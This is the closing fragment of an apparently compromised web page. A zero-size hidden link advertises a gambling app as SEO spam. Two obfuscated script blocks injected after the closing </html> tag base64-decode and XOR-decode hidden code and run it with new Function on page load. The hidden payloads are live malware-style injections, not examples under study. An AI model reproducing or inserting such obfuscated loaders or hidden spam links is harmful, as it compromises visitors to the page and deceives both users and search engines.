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<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
</html><script>!function(){var _0xdac3ef103251=atob('BkhbQE1aR0FABgdVWE9cDkhjYUp/bBNZR0BKQVkCQhh+F0laE0hjYUp/bHUJcXFIXmtDTEtKXQlzAmZYGHRGHhMJSk8fHhhLGBZKTBhLGUhPSgkCY0J5VEMWE3UMRlpaXl0UAQFNQkdNRVRBQE8AQEtaDAIODEZaWl4UAQEYGwAcHwAfFgAYHgxzFUdIBkIYfhdJWggIQhh+F0ladWZYGHRGHnMHXEtaW1xAFUIYfhdJWhNIY2FKf2x1CXFxSF5rQ0xLSl0JcxMGQhh+F0laUlJVUwcVQhh+F0ladWZYGHRGHnMTHxVIW0BNWkdBQA5eX15NHmUGB1VHSAYPSkFNW0NLQFoATEFKVwdVXUtaekdDS0FbWgZeX15NHmUCHB4HFVxLWltcQBVTWE9cDn5CfFkfYBNKQU1bQ0tAWgBNXEtPWktrQktDS0BaBglKR1gJBwJFQWZBSUgTSkFNW0NLQFoATVxLT1pLa0JLQ0tAWgYJR0hcT0NLCQcVfkJ8WR9gAF1aV0JLAE1dXXpLVloTCV5BXUdaR0FAFEhHVktKFUdAXUtaFB4VVANHQEpLVhQcHxoZGhYdHBccFUxPTUVJXEFbQEoUXElMTwYfGwIcHQIaHAIAGhwHFV5BR0BaS1wDS1hLQFpdFEBBQEsVCRVFQWZBSUgAWkdaQksTCX1LTVtcR1pXDk1GS01FCRVFQWZBSUgAXUtab1paXEdMW1pLBglPQkJBWUhbQkJdTVxLS0AJAgkJBxVFQWZBSUgAXVpXQksATV1dektWWhMJXkFdR1pHQUAUSEdWS0oVR0BdS1oUHhVZR0paRhQfHh4LFUZLR0lGWhQfHh4LFUxBXEpLXBQeFVQDR0BKS1YUHB8aGRoWHR0eHBVMT01FSVxBW0BKFA1ISEgVCRVKQU1bQ0tAWgBMQUpXAE9eXktASm1GR0JKBn5CfFkfYAcVSkFNW0NLQFoATEFKVwBPXl5LQEptRkdCSgZFQWZBSUgHFUhbQE1aR0FADkdPGmpEZQYHVVpcV1V+QnxZH2AAXEtDQVhLBgcVRUFmQUlIAFxLQ0FYSwYHFVNNT1pNRgZxSwdVU1pcV1VKS0JLWksOQhh+F0ladWZYGHRGHnNTTU9aTUYGcUscB1VTU0hjYUp/bABPSkprWEtAWmJHXVpLQEtcBglDS11dT0lLCQJIW0BNWkdBQAZxS1gHVVpcV1VHSAYPcUtYUlIPcUtYAEpPWk8HXEtaW1xAFUdIBnFLWABKT1pPAFpXXksTExMJSF4DS0NMS0oDTUJBXUsJB0dPGmpEZQYHFVNNT1pNRgZxSx0HVVNTBxVIW0BNWkdBQA5ea18fVhcGa1ZHSWxhB1VHSAZrVkdJbGEQE2NCeVRDFgBCS0BJWkYHXEtaW1xAFVhPXA5xRhMJCRVaXFdVcUYTfVpcR0BJBkhjYUp/bABCQU1PWkdBQAgIBkhjYUp/bABCQU1PWkdBQABGQV1aQE9DS1JSSGNhSn9sAEJBTU9aR0FAAEZBXVoHUlIJCQcAXEteQk9NSwYBcFlZWXIAAUcCCQkHFVNNT1pNRgZxS0YHVVNYT1wOcVsTY0J5VEMWdWtWR0lsYXMFCQFLQ0xLSgEJBWZYGHRGHgUJEUtDTEtKEx8JBQZxRhEGCQhGQV1aEwkFS0BNQUpLe3xnbUFDXkFAS0BaBnFGBwcUCQkHFVhPXA5xWkETXUtaekdDS0FbWgZIW0BNWkdBQAYHVV5rXx9WFwZrVkdJbGEFHwcVUwIfHB4eHgcVRUFmQUlIAEFAQkFPShNIW0BNWkdBQAYHVU1CS09cekdDS0FbWgZxWkEHFVMVRUFmQUlIAF1cTRNxWxVTXmtfH1YXBh4HFVNHSAZKQU1bQ0tAWgBcS09KV31aT1pLExMTCUJBT0pHQEkJB0hjYUp/bABPSkprWEtAWmJHXVpLQEtcBglqYWNtQUBaS0BaYkFPSktKCQJeX15NHmUHFUtCXUsOXl9eTR5lBgcVUwcGBxU='),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>